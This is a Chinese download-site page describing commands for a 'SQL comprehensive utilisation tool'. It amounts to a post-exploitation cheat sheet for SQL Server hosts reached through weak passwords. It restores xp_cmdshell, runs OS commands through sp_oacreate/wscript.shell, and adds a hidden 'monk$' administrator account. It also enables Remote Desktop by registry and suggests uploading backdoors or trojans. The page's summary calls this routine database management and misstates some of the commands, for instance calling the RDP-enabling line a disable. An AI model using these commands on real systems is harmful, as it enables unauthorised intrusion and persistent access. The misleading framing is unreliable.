### SQL综合利用工具中常用命令详解 #### 一、SQL综合利用工具简介 SQL综合利用工具是一种集成了多种功能的数据库管理工具,旨在帮助用户更好地管理和操作数据库系统。这些工具通常包括了一系列命令行工具,允许用户执行复杂的数据库操作,如数据查询、数据修改、存储过程调用等。本文将详细介绍一些在SQL综合利用工具中常用的命令。 #### 二、常用命令详解 ##### 1. **查看系统信息** - **`ver`**:显示当前操作系统的版本信息。 - **`net start`**:列出当前系统运行的服务列表。 - **`net stat -na`**:查看网络端口状态,可以了解哪些端口正在被占用以及连接状态。 ##### 2. **用户管理** - **`net user`**:查看当前系统中的所有用户账户。 - **`net user <username> <password> /add`**:创建一个新用户。例如,`net user monk $monk /add`,这里的`monk`是用户名,`$monk`是密码。这里使用了特殊字符`$`,是因为在某些情况下,包含特殊字符的密码更难被猜测。 - **`net localgroup administrators <username> /add`**:将用户添加到管理员组。例如,`net localgroup administrators monk$/add`,这样就将用户`monk$`添加到了管理员组。 **注意**:在创建用户时使用特殊字符(如`$`)作为密码的一部分是为了增加密码的复杂性,从而提高安全性。然而,在实际操作中,应确保使用更复杂且随机的密码,并定期更改。 ##### 3. **终端服务配置** - **调整端口号**: - 使用命令`REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal\Server\WinStations\RDP-Tcp /v PortNumber`来查询远程桌面服务的端口号。 - 若要禁用终端服务连接,可以使用`REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal\Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f`。 **注意**:在Windows 2000/2003系统中,如果想要实现远程访问,则需要进行上述配置。 ##### 4. **扩展存储过程管理** - **安装扩展存储过程**: - 如果需要在SQL Server中使用扩展存储过程(如`xp_cmdshell`),首先需要确认其是否已经被安装。若未安装,可以通过以下步骤进行安装: - 使用`EXEC sp_addextendedproc xp_cmdshell, @dllname='xplog70.dll'`来尝试安装`xp_cmdshell`扩展存储过程。 - 若安装失败,可以尝试更换DLL文件,如使用`xpsql70.dll`或`xpweb70.dll`。 - **卸载扩展存储过程**: - 使用`EXEC sp_dropextendedproc "xp_cmdshell"`来卸载`xp_cmdshell`扩展存储过程。 **注意事项**: - 在安装扩展存储过程时可能会遇到错误代码126,这通常意味着无法找到指定的DLL文件。此时,需要检查DLL文件路径是否正确以及是否存在该文件。 - 错误代码127表示找不到指定的过程,这意味着可能需要先安装相关的DLL文件。 - 安装扩展存储过程时,还需要注意权限问题,确保有足够的权限执行此类操作。 ##### 5. **通过脚本执行命令** - **Windows 2000 Server系统**: - 创建用户:`declare @shell int exec sp_oacreate 'wscript.shell', @shell output exec sp_oamethod @shell, 'run', null, 'c:\winnt\system32\cmd.exe/cnet user 用户名 密码 /add'` - 将用户添加到管理员组:`declare @shell int exec sp_oacreate 'wscript.shell', @shell output exec sp_oamethod @shell, 'run', null, 'c:\winnt\system32\cmd.exe/cnet localgroup administrators 用户名 /add'` - **Windows 2003 Server系统**: - 创建用户:`declare @shell int exec sp_oacreate 'wscript.shell', @shell output exec sp_oamethod @shell, 'run', null, 'c:\windows\system32\cmd.exe/cnet user 用户名 密码 /add'` - 将用户添加到管理员组:`declare @shell int exec sp_oacreate 'wscript.shell', @shell output exec sp_oamethod @shell, 'run', null, 'c:\windows\system32\cmd.exe/cnet localgroup administrators 用户名 /add'` **注意事项**: - 这些脚本命令主要用于通过SQL Server执行操作系统级别的命令。需要注意的是,这些操作可能会带来安全风险,因此应当谨慎使用。 - 在使用这些命令之前,应确保具备足够的权限,并对命令及其可能带来的后果有充分的理解。 #### 三、总结 本文详细介绍了SQL综合利用工具中的一些常用命令,涵盖了查看系统信息、用户管理、终端服务配置、扩展存储过程管理等方面。通过对这些命令的学习和应用,可以帮助我们更好地管理和操作数据库系统,同时也要注意遵循最佳实践,确保数据的安全性和完整性。希望本文能够为从事IT行业的读者提供一定的帮助。
以下是一部分常用的命令
dir c:\ //浏览c盘
type c:\boot.ini //显示boot.ini的内容,用于查看操作系统类型与版本
ver //功能同上
net start //查看系统启动的服务
netstat -na //查看端口开发情况
net user //查看当前系统用户情况
net user monk$ monk /add //添加一个名为monk$密码为monk的用户
net localgroup administrators monk$ /add //将monk$用户加入管理组
为什么要建立monk$这样一个用户呢?因为用户名后面带 $符号后,管理员使用:net user 看不到,但缺点就是在管理面板中可以看到。(强一点的隐藏方法是帐号克隆,这里就不说了)
如果我们发现服务器的 终端服务:terminal service是开放的,对方又是2000或者2003服务器,那么我们可以直接添加用户,远程登陆。
如果没有终端,或者终端不开放。那我们可以使用上传功能,把我们的后门或者木马上传上去,运行。
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
扫到SQL弱口令后利用SQLTOOLS出现未能找到存储过程 'master..xp_cmdshell'
这种情况的主要原因是删除了扩展存储过过程xp_cmdshell,有一个恢复的办法,如果不成功说明被改名了
使用SQLTOOLS连接,连接后在利用目录下点执行数据库命令,执行:
- 粉丝: 28
- 资源: 1
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
- netCDF4-1.5.3-cp27-cp27m-win_amd64.whl.zip
- netCDF4-1.1.7+numpy16-cp27-none-win32.whl.zip
- netCDF4-1.5.3-cp27-cp27m-win32.whl.zip
- netCDF4-1.5.3-cp35-cp35m-win32.whl.zip
- netCDF4-1.5.3-cp35-cp35m-win_amd64.whl.zip
- netCDF4-1.5.6-cp36-cp36m-win_amd64.whl.zip
- netCDF4-1.5.8-cp310-cp310-win_amd64.whl.zip
- netCDF4-1.5.8-cp310-cp310-win32.whl.zip
- netCDF4-1.5.6-cp36-cp36m-win32.whl.zip
- netCDF4-1.5.8-cp311-cp311-win32.whl.zip
- netCDF4-1.5.8-cp311-cp311-win_amd64.whl.zip
- netCDF4-1.5.8-cp37-cp37m-win32.whl.zip
- netCDF4-1.5.8-cp37-cp37m-win_amd64.whl.zip
- netCDF4-1.5.8-cp38-cp38-win_amd64.whl.zip
- netCDF4-1.5.8-cp38-cp38-win32.whl.zip
- netCDF4-1.5.8-cp39-cp39-win_amd64.whl.zip